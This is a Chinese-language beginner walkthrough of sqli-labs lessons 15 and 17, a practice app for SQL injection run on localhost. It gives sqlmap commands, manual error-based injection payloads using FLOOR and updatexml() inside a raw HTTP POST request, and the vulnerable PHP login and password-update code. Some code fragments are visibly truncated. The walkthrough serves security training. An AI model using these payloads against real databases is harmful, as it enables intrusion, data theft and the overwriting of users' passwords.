【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】
- Less-15- Blind- Boolian Based- String
1）工具用法：
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-15/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads --batch --technique BEST
2）手工注入
时间盲注放弃用手工了，这里的语句引用自SQLMAP中测试语句

3）注入点产生代码
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
- Less-17 Update Query- Error based - String
1）工具用法：
经验总结：这里我是登录之后，才成功用SQLMAP注入成功。使用的账户与密码为：Dumb
有个不靠谱的地方，用update注入语句输入不慎重会不经意间修改其他正常用户密码数据；security库下的USER表中查看发现所有用户密码被更改为0。。。
工具命令用法：
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-17/index.php" --data "uname=Dumb&passwd=Dumb&submit=Submit" --current-db --batch --threads
2）手工注入
经验：这关username加入了过滤函数实际注入点在passwd处；
两种报错注入方法，一种是利用floor报错语句，一种是使用updatexml()报错；
通过floor报错语句如下（SQLMAP中所使用的注入语句）：
User Name:'Dumb'
New Password:Dumb' AND (SELECT 8824 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(语句),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'noKL'='noKL
使用updatexml()，手工注入语句如下：
POST /hacker/sqli-labs-master/Less-/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/ Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
uname=admin1&passwd=' and updatexml(1,concat(0x7e,(select database())),1)#&submit=Submit
3）注入点产生代码
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,,);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
